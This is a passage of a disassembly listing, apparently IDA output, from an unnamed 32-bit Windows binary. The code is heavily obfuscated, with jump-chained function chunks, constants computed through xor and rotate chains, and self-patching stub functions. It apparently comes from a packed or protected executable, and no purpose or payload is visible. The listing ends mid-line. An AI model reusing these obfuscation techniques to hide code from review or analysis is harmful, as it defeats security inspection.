jmp loc_44547E ; --------------------------------------------------------------------------- loc_43753E: ; CODE XREF: y22d6.y.:loc_44D720j jz loc_448EA4 jmp loc_44A52D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_437549: ; CODE XREF: sub_4432B8:loc_43D9F9j mov eax, [ebp-0Ch] add [ebp-8], eax mov eax, [ebp-8] mov esp, ebp jmp loc_443948 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_437559: ; DATA XREF: sub_44C4E8+Do call sub_442060 mov eax, [esp] push edx push 7992B6BBh pop edx xor edx, 275013A8h jmp loc_445BEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_437573: ; CODE XREF: sub_440280-7459j jnb loc_4431C8 xor ebx, ebp jmp loc_44BA63 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_437580: ; CODE XREF: sub_44B1D2+1697j jnb loc_43A1EF js loc_44770A not edi jmp loc_44106E ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F8FE loc_437593: ; CODE XREF: sub_43F8FE+C5A3j mov ebx, [ebx] call sub_44DA87 ; END OF FUNCTION CHUNK FOR sub_43F8FE ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43759A: ; CODE XREF: sub_448EB6+156j jmp loc_44B4D0 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_4375A0: ; CODE XREF: sub_438B66+8C3Ej jmp loc_43BAC6 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_4375A5: ; CODE XREF: sub_43FAC6+9j jmp loc_443D2A ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CB3F loc_4375AA: ; CODE XREF: sub_44CB3F:loc_4372E4j mov ds:dword_41E154, eax lea eax, nullsub_16 mov byte ptr [eax], 0C3h jmp nullsub_16 ; END OF FUNCTION CHUNK FOR sub_44CB3F ; --------------------------------------------------------------------------- xchg ecx, [esp] jmp loc_44208A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440D6B loc_4375C7: ; CODE XREF: sub_440D6B+Dj jmp sub_44193A ; END OF FUNCTION CHUNK FOR sub_440D6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44374A loc_4375CC: ; CODE XREF: sub_44374A-2E3Cj jmp loc_442888 ; END OF FUNCTION CHUNK FOR sub_44374A ; --------------------------------------------------------------------------- mov ebp, esi jmp sub_44E357 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F422 loc_4375D8: ; CODE XREF: sub_43F422:loc_43F487j add [ebp-8], eax mov eax, [ebp-8] shl eax, 0Ah add [ebp-8], eax mov eax, [ebp-8] push offset sub_4375F1 jmp locret_43B612 ; END OF FUNCTION CHUNK FOR sub_43F422 ; =============== S U B R O U T I N E ======================================= sub_4375F1 proc near ; DATA XREF: sub_43F422-7E3Bo shr eax, 6 xor [ebp-8], eax inc dword ptr [ebp-0Ch] jmp loc_444FAD sub_4375F1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AB31 loc_4375FF: ; CODE XREF: sub_43F422+6j ; sub_43AB31+10D19j inc [ebp+var_8] inc [ebp+var_C] jmp loc_445301 ; END OF FUNCTION CHUNK FOR sub_43AB31 ; =============== S U B R O U T I N E ======================================= sub_43760A proc near ; CODE XREF: sub_44066C:loc_43738Fp ; sub_43AD2F:loc_4373CBp ... call sub_445DB1 loc_43760F: ; DATA XREF: sub_4432B8-2BBDo mov eax, [esp+0] call sub_4480DE retn sub_43760A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4431CD loc_437618: ; CODE XREF: sub_4431CD-B1CBj jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_4431CD ; --------------------------------------------------------------------------- db 0E3h, 0Eh, 0AEh dword_437620 dd 1AE8DF41h ; DATA XREF: sub_44439D:loc_43D97Cr ; y22d6.y.:loc_449A0Dr ; --------------------------------------------------------------------------- call sub_43A795 ; RtlGetLastWin32Error ; START OF FUNCTION CHUNK FOR sub_43E86C loc_437629: ; CODE XREF: sub_43E86C+CEA2j jmp loc_447E35 ; END OF FUNCTION CHUNK FOR sub_43E86C ; --------------------------------------------------------------------------- loc_43762E: ; CODE XREF: y22d6.y.:00442805j jmp loc_4414A3 ; --------------------------------------------------------------------------- loc_437633: ; DATA XREF: sub_43D7AB+Ao movzx eax, byte ptr [eax] mov edx, [ebp+8] mov [edx-10h], eax inc dword ptr [ebp-4] mov eax, [ebp+8] jmp loc_437652 ; --------------------------------------------------------------------------- loc_437647: ; CODE XREF: y22d6.y.:004475EFj jl loc_441B1E loc_43764D: ; CODE XREF: y22d6.y.:0044AE56j jmp locret_438A22 ; --------------------------------------------------------------------------- loc_437652: ; CODE XREF: y22d6.y.:00437642j jmp loc_43795C ; --------------------------------------------------------------------------- push 0CD557EC3h jmp loc_441B11 ; --------------------------------------------------------------------------- loc_437661: ; CODE XREF: y22d6.y.:0044BDD2j mov ebp, [edx] ; START OF FUNCTION CHUNK FOR sub_447C6F loc_437663: ; CODE XREF: sub_447C6F:loc_44D715j add esi, 0DBCEA8A8h xchg esi, [esp+4+var_4] jmp sub_4483BF ; END OF FUNCTION CHUNK FOR sub_447C6F ; --------------------------------------------------------------------------- call sub_441B2E ; START OF FUNCTION CHUNK FOR sub_4441D9 loc_437676: ; CODE XREF: sub_4441D9+A251j jmp loc_44813D ; END OF FUNCTION CHUNK FOR sub_4441D9 ; --------------------------------------------------------------------------- loc_43767B: ; CODE XREF: y22d6.y.:004474D5j jmp locret_43BDE6 ; =============== S U B R O U T I N E ======================================= sub_437680 proc near ; CODE XREF: y22d6.y.:004420D9j ; sub_43A041+1217Fp ; FUNCTION CHUNK AT 00438D7C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043BB05 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A9CB SIZE 0000000E BYTES xchg edi, [esp+0] pop edi shr edx, cl or eax, edx mov edx, [ebp-8] mov [edx], al mov eax, [ebp-8] mov al, [eax] jmp loc_43BB05 sub_437680 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_437697: ; CODE XREF: sub_44AA69:loc_4443D9j xchg ebx, [esp+0] jmp loc_4494C3 ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F5A loc_43769F: ; CODE XREF: sub_439F5A-22A8j push ecx push 3F68FF9Ch pop ecx add ecx, 0CBFBD668h jns loc_4438C8 ; END OF FUNCTION CHUNK FOR sub_439F5A ; START OF FUNCTION CHUNK FOR sub_43872E loc_4376B2: ; CODE XREF: sub_43872E-1537j jmp loc_43A47E ; END OF FUNCTION CHUNK FOR sub_43872E ; --------------------------------------------------------------------------- mov eax, 1CF30567h add esi, 0AF76374Ch jmp loc_4438C8 ; --------------------------------------------------------------------------- loc_4376C7: ; CODE XREF: y22d6.y.:loc_449E98j add eax, ebp add eax, 41667BD9h mov eax, [eax] push edx push eax pop edx xchg edx, [esp] jmp loc_43CE9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_4376DC: ; CODE XREF: sub_43B252-204Fj jz loc_44E2FC jmp loc_4415F6 ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44807C loc_4376E7: ; CODE XREF: sub_44807C-288Bj jnz loc_443016 jmp loc_444478 ; END OF FUNCTION CHUNK FOR sub_44807C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC92 loc_4376F2: ; CODE XREF: sub_43EC92+13j jz loc_449FD9 jmp loc_43FFD5 ; END OF FUNCTION CHUNK FOR sub_43EC92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A9C6 loc_4376FD: ; CODE XREF: sub_43A9C6+3E98j sub ebp, ebx rol eax, 14h and ecx, 5088D9C1h loc_437708: ; CODE XREF: sub_44123E:loc_43929Fj ; sub_44123E-A3Aj ... jmp loc_4409A5 ; END OF FUNCTION CHUNK FOR sub_43A9C6 ; --------------------------------------------------------------------------- jmp loc_4488C3 ; =============== S U B R O U T I N E ======================================= sub_437712 proc near ; CODE XREF: y22d6.y.:0043A78Aj ; sub_44A359-6679j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043A103 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B4B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BBF1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043C425 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043E5E3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043E6D5 SIZE 00000011 BYTES xchg ecx, [esp+0] pop ecx mov eax, [ebp-24h] mov dx, [eax+2] mov eax, [ebp-14h] push edi jmp loc_43C425 sub_437712 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B43 loc_437726: ; CODE XREF: sub_437B43+7973j adc esi, 0B51EC335h jmp loc_44C90C ; END OF FUNCTION CHUNK FOR sub_437B43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D22A loc_437731: ; CODE XREF: sub_44D22A-1359Cj xor ebx, 5BC2EC9h push edx jmp loc_43BE0C ; END OF FUNCTION CHUNK FOR sub_44D22A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_43773D: ; CODE XREF: sub_44BBBA:loc_4422E1j xchg esi, ebp and eax, 0EB267F04h pop esi jmp loc_439D1D ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D45 loc_43774B: ; CODE XREF: sub_444D45:loc_437A62j pop ebx loc_43774C: ; CODE XREF: sub_43FC1E+Cj ; y22d6.y.:00445C21j xchg eax, edx call sub_44D293 retn ; END OF FUNCTION CHUNK FOR sub_444D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_437753: ; CODE XREF: sub_44B1D2-3625j jmp loc_445C8B ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44807C loc_437758: ; CODE XREF: sub_44807C:loc_43E33Ej sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jmp loc_443556 ; END OF FUNCTION CHUNK FOR sub_44807C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_437766: ; CODE XREF: sub_43C6D7:loc_43D1EBj and edx, 7BF439Ah rol edx, 15h or edx, 6A1EB871h xor edx, 2A5E9759h add edx, 0AF033282h xchg edx, [esp+0] jmp loc_4463C2 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- loc_437789: ; CODE XREF: y22d6.y.:00442135j cmp ebp, ebx jmp loc_447E77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_437790: ; CODE XREF: sub_438B66+F89Cj jz loc_43A519 xor ecx, esi jmp loc_4454A8 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C712 loc_43779D: ; CODE XREF: sub_43C712:loc_4426A5j rol esi, 2 jb loc_43A3B8 ; END OF FUNCTION CHUNK FOR sub_43C712 ; START OF FUNCTION CHUNK FOR sub_440330 loc_4377A6: ; CODE XREF: sub_440330+5D40j jmp loc_43A2BB ; END OF FUNCTION CHUNK FOR sub_440330 ; --------------------------------------------------------------------------- jle loc_447A3D xchg esi, ecx jmp loc_43A3B8 ; --------------------------------------------------------------------------- mov ecx, edi jmp sub_440330 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4377BF: ; CODE XREF: sub_4432B8-1130j ; sub_4432B8:loc_4458ACj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_43B229 jmp loc_4419C1 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- locret_4377D0: ; CODE XREF: y22d6.y.:00449C42j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AC61 loc_4377D1: ; CODE XREF: sub_44AC61+13j jmp loc_4450EC ; END OF FUNCTION CHUNK FOR sub_44AC61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4399C6 loc_4377D6: ; CODE XREF: sub_4399C6+Fj mov ebp, edi xchg ebp, [esp+4+var_4] push 0AAC30F41h pop edi xor edi, 0BD7512E1h rol edi, 7 and edi, ds:4000E1h push offset sub_449880 jmp loc_440F79 ; END OF FUNCTION CHUNK FOR sub_4399C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440494 loc_4377FA: ; CODE XREF: sub_440494+9j sub al, 99h mov edx, [ebp-4] push offset sub_437B01 jmp nullsub_38 ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- loc_437809: ; CODE XREF: y22d6.y.:0043A4B7j mov esi, 5F09A52Ch xchg esi, [esp] pop esi pop edx jns loc_44DAB8 jmp loc_44D26D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443EA2 loc_43781E: ; CODE XREF: sub_443EA2:loc_43CFDBj call sub_44D293 push eax ror eax, 3 mov ds:dword_441968, eax retn ; END OF FUNCTION CHUNK FOR sub_443EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43782E: ; CODE XREF: sub_4432B8+1B6j jmp loc_4406EE ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_437833 proc near ; CODE XREF: sub_443EA2j ; FUNCTION CHUNK AT 0043A33F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004429EB SIZE 00000015 BYTES push ebp jmp loc_43A33F sub_437833 endp ; --------------------------------------------------------------------------- loc_437839: ; CODE XREF: y22d6.y.:loc_43A2DCj xor ebx, 78090FEh add ebx, 0D461C5A8h mov [ebx], eax pop ebx lea eax, nullsub_315 jmp loc_43CAB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_437853: ; CODE XREF: sub_44D7E0-141F6j push 0DE42FA14h pop eax rol eax, 3 test eax, 2000h jmp loc_44BFB4 ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_437867: ; CODE XREF: sub_44E5C7-15C8Aj shr eax, 0Dh jmp loc_44C761 ; --------------------------------------------------------------------------- loc_43786F: ; CODE XREF: sub_44E5C7-137B9j sub al, 99h push 812F10E2h pop edx sub edx, 0FE11BEB4h or edx, 0F7A5EE22h add edx, 40BC347Bh jmp loc_43B6D1 ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- loc_43788E: ; CODE XREF: y22d6.y.:0043DA76j adc edx, eax ; =============== S U B R O U T I N E ======================================= sub_437890 proc near ; CODE XREF: y22d6.y.:0043E888p xchg edi, [esp+0] pop edi mov edx, [ebp-4] push offset loc_4456AA jmp loc_43CECB sub_437890 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_4378A1: ; CODE XREF: sub_43B252+3186j jo loc_4488D8 loc_4378A7: ; CODE XREF: sub_43B252:loc_448670j push 18BB7D20h pop eax add eax, 17045307h xor eax, 13422707h call sub_43F7FF rol eax, 2 add eax, 8C445B8Eh jmp loc_441CA8 ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- and esi, ebx jmp loc_43C6BF ; --------------------------------------------------------------------------- loc_4378D3: ; CODE XREF: y22d6.y.:00437298j rol ecx, 1Ch mov ecx, eax sbb ebp, 33C7BD3Eh ; START OF FUNCTION CHUNK FOR sub_43E39E loc_4378DE: ; CODE XREF: sub_43E39E:loc_43728Bj or ecx, 0B193177Dh rol ecx, 12h jmp loc_448FA1 ; END OF FUNCTION CHUNK FOR sub_43E39E ; --------------------------------------------------------------------------- loc_4378EC: ; CODE XREF: y22d6.y.:004462FEj ja loc_43B1D3 push ecx ; START OF FUNCTION CHUNK FOR sub_441000 loc_4378F3: ; CODE XREF: sub_441000:loc_43BB6Bj add ecx, 2894B3BFh xchg ecx, [esp+0] jmp loc_43848C ; END OF FUNCTION CHUNK FOR sub_441000 ; =============== S U B R O U T I N E ======================================= sub_437901 proc near ; CODE XREF: y22d6.y.:00438637j ; sub_44B17B-123ABp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437951 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043BE07 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043CCA7 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043D19A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043D8C0 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 004456D0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004457D1 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00446DF9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00448169 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00449D11 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044C660 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CD29 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push ecx push 196A1813h shr ecx, 7 jmp loc_43D8C0 sub_437901 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_437913 proc near ; DATA XREF: sub_44374A-127Eo ; FUNCTION CHUNK AT 0043ED0B SIZE 00000026 BYTES add eax, 0F9501007h rol eax, 2 push ecx push 0BA6C9D11h pop ecx or ecx, 229EB991h jmp loc_43ED0B sub_437913 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_252. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_43792F: ; CODE XREF: sub_44633F-4DDCj jmp loc_441B47 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E242 loc_437934: ; CODE XREF: sub_44E242:loc_43E88Dj push 241B2940h pop edx or edx, 887A8C16h and edx, 8F58CAAAh add edx, 73EB5FA9h jmp loc_43BC88 ; END OF FUNCTION CHUNK FOR sub_44E242 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437901 loc_437951: ; CODE XREF: sub_437901:loc_4456D0j jz loc_43D19A jmp loc_44C660 ; END OF FUNCTION CHUNK FOR sub_437901 ; --------------------------------------------------------------------------- loc_43795C: ; CODE XREF: y22d6.y.:loc_437652j mov eax, [eax-10h] shr eax, 6 mov [ebp-10h], eax mov eax, [ebp+8] mov eax, [eax-10h] jmp loc_43C190 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443EA2 loc_437970: ; CODE XREF: sub_443EA2:loc_43C2AAj mov ebp, esp mov esp, ebp pop ebp mov eax, ds:dword_441968 or eax, eax jnz loc_43D9F0 call sub_43760A mov edx, 0B9726E5Ah jmp loc_43CFDB ; END OF FUNCTION CHUNK FOR sub_443EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_437992: ; CODE XREF: sub_43E81B+B524j jnz loc_43B083 jmp loc_4489E7 ; END OF FUNCTION CHUNK FOR sub_43E81B ; --------------------------------------------------------------------------- loc_43799D: ; DATA XREF: sub_44E1BD-1419Co xchg ecx, [esp] mov eax, ecx pop ecx add eax, 0A3262511h jmp loc_44E546 ; --------------------------------------------------------------------------- push edi push 0D4532932h pop edi xor edi, 9A535966h sub edi, 0EDBE2394h ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4379C1: ; CODE XREF: sub_448EB6-3B5Fj jmp loc_448854 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441C1C loc_4379C6: ; CODE XREF: sub_441C1C+Bj pop ebx sub edx, 307CC756h rol edx, 2 cmp edx, 86944445h jmp loc_448F55 ; END OF FUNCTION CHUNK FOR sub_441C1C ; --------------------------------------------------------------------------- push esi jmp sub_43F891 ; --------------------------------------------------------------------------- mov eax, 510AEA73h call sub_43CA1A mov ds:dword_41E108, eax lea eax, nullsub_281 mov byte ptr [eax], 0C3h jmp nullsub_281 ; --------------------------------------------------------------------------- loc_4379FF: ; CODE XREF: y22d6.y.:loc_439360j mov eax, [esp] push edx push ebx jmp loc_44B094 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_317. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC01 loc_437A0A: ; CODE XREF: sub_43EC01-6826j jmp loc_44814B ; END OF FUNCTION CHUNK FOR sub_43EC01 ; --------------------------------------------------------------------------- sub edx, edi jmp sub_44B47A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441C69 loc_437A16: ; CODE XREF: sub_441C69-A87Aj jge loc_44B925 ; END OF FUNCTION CHUNK FOR sub_441C69 ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_437A1C: ; CODE XREF: sub_44DB81-8AA5j jmp nullsub_262 ; END OF FUNCTION CHUNK FOR sub_44DB81 ; --------------------------------------------------------------------------- cmp esi, 0D2A80412h jmp loc_43B539 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4464C8 loc_437A2C: ; CODE XREF: sub_4464C8-B02Ej pop ebx mov eax, [esp-4+arg_0] push ebx mov ebx, edx push offset loc_4384DB jmp nullsub_90 ; END OF FUNCTION CHUNK FOR sub_4464C8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DF73 loc_437A3F: ; CODE XREF: sub_44DF73-36F8j jmp nullsub_59 ; END OF FUNCTION CHUNK FOR sub_44DF73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_437A44: ; CODE XREF: sub_44AEDA:loc_441B85j rol edx, 0Ah add edx, 0B437BA07h add edx, ebp add edx, 22DEA8E3h loc_437A55: ; CODE XREF: y22d6.y.:loc_44B5A4j mov [edx], eax loc_437A57: ; CODE XREF: sub_437B10+DDAFj jmp loc_4446F0 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D45 loc_437A5C: ; CODE XREF: sub_444D45:loc_4464A3j jge loc_44E663 loc_437A62: ; CODE XREF: y22d6.y.:0043F5C2j jmp loc_43774B ; END OF FUNCTION CHUNK FOR sub_444D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_437A67: ; CODE XREF: sub_44B1D2-F42Dj jmp loc_43D524 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- cmp edi, 925E2B66h jmp loc_43DDCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447663 loc_437A77: ; CODE XREF: sub_447663:loc_44C5ECj jnz loc_440B49 ; END OF FUNCTION CHUNK FOR sub_447663 ; START OF FUNCTION CHUNK FOR sub_441C04 loc_437A7D: ; CODE XREF: sub_441C04+Bj jmp loc_4386DD ; END OF FUNCTION CHUNK FOR sub_441C04 ; --------------------------------------------------------------------------- popf jmp loc_440B46 ; --------------------------------------------------------------------------- loc_437A88: ; CODE XREF: y22d6.y.:loc_44B6BFj jno loc_43B5D1 jmp loc_447EB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BF91 loc_437A93: ; CODE XREF: sub_44BF91:loc_43D652j add esi, 9B944090h sub eax, esi pop esi jmp loc_439689 ; END OF FUNCTION CHUNK FOR sub_44BF91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_437AA1: ; CODE XREF: sub_43A6E1j mov eax, ds:dword_442554 or eax, eax jmp loc_4426C4 ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- loc_437AAE: ; CODE XREF: y22d6.y.:0043C2B2j mov eax, 0CBFF8196h xchg eax, [esi] js loc_44344C add esi, ebx ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_437ABD: ; CODE XREF: sub_43BCA9:loc_43C29Fj add edi, 37138DB7h xchg edi, [esp+0] jmp loc_445C69 ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_373. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B01 loc_437ACC: ; CODE XREF: sub_437B01+10449j jmp loc_43A95A ; END OF FUNCTION CHUNK FOR sub_437B01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44469C loc_437AD1: ; CODE XREF: sub_44469C-C8FEj jmp loc_442096 ; END OF FUNCTION CHUNK FOR sub_44469C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442FA7 loc_437AD6: ; CODE XREF: sub_442FA7+654Dj call sub_44BEA6 ; END OF FUNCTION CHUNK FOR sub_442FA7 ; START OF FUNCTION CHUNK FOR sub_43CEE2 loc_437ADB: ; CODE XREF: sub_43CEE2+7A1Bj jmp loc_445CD6 ; END OF FUNCTION CHUNK FOR sub_43CEE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_437AE0: ; CODE XREF: sub_442C0C+8j jmp loc_44545C ; END OF FUNCTION CHUNK FOR sub_442C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_437AE5: ; CODE XREF: sub_444581-B696j cdq loc_437AE6: ; CODE XREF: sub_444581:loc_442758j push ecx mov ecx, eax xchg ecx, [esp+4+var_4] jmp loc_43FD9A ; END OF FUNCTION CHUNK FOR sub_444581 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_437AF2: ; CODE XREF: y22d6.y.:0044E47Aj jmp loc_447FCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C8BF loc_437AF7: ; CODE XREF: sub_44C8BF+Ej jmp nullsub_220 ; END OF FUNCTION CHUNK FOR sub_44C8BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_437AFC: ; CODE XREF: sub_43BCA9-1AF8j jmp loc_44B08C ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; =============== S U B R O U T I N E ======================================= sub_437B01 proc near ; DATA XREF: sub_440494-8C95o ; FUNCTION CHUNK AT 00437ACC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004381F6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043A95A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043BD72 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043D691 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044017D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00447F44 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004488F1 SIZE 00000005 BYTES imul byte ptr [edx] cmp al, 0A4h jz loc_4397D9 jmp loc_4488F1 sub_437B01 endp ; =============== S U B R O U T I N E ======================================= sub_437B10 proc near ; DATA XREF: y22d6.y.:0043A766o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043959D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043A462 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00443809 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004458B7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00447DAC SIZE 00000005 BYTES push ecx pushf push 59FDE89Bh pop ecx xor ecx, 47931B23h cmp ecx, 56470ED3h jmp loc_443809 sub_437B10 endp ; --------------------------------------------------------------------------- test ebx, edx jmp loc_4497E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_437B30: ; CODE XREF: sub_43E185-56BFj pushf loc_437B31: ; CODE XREF: sub_43FC1E:loc_4404F6j push eax lea eax, loc_43DD07+1 push ebp mov ebp, eax xchg ebp, [esp+10h+var_10] jmp loc_448E13 ; END OF FUNCTION CHUNK FOR sub_43E185 ; =============== S U B R O U T I N E ======================================= sub_437B43 proc near ; CODE XREF: y22d6.y.:0043A7B7j ; sub_441651p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00437726 SIZE 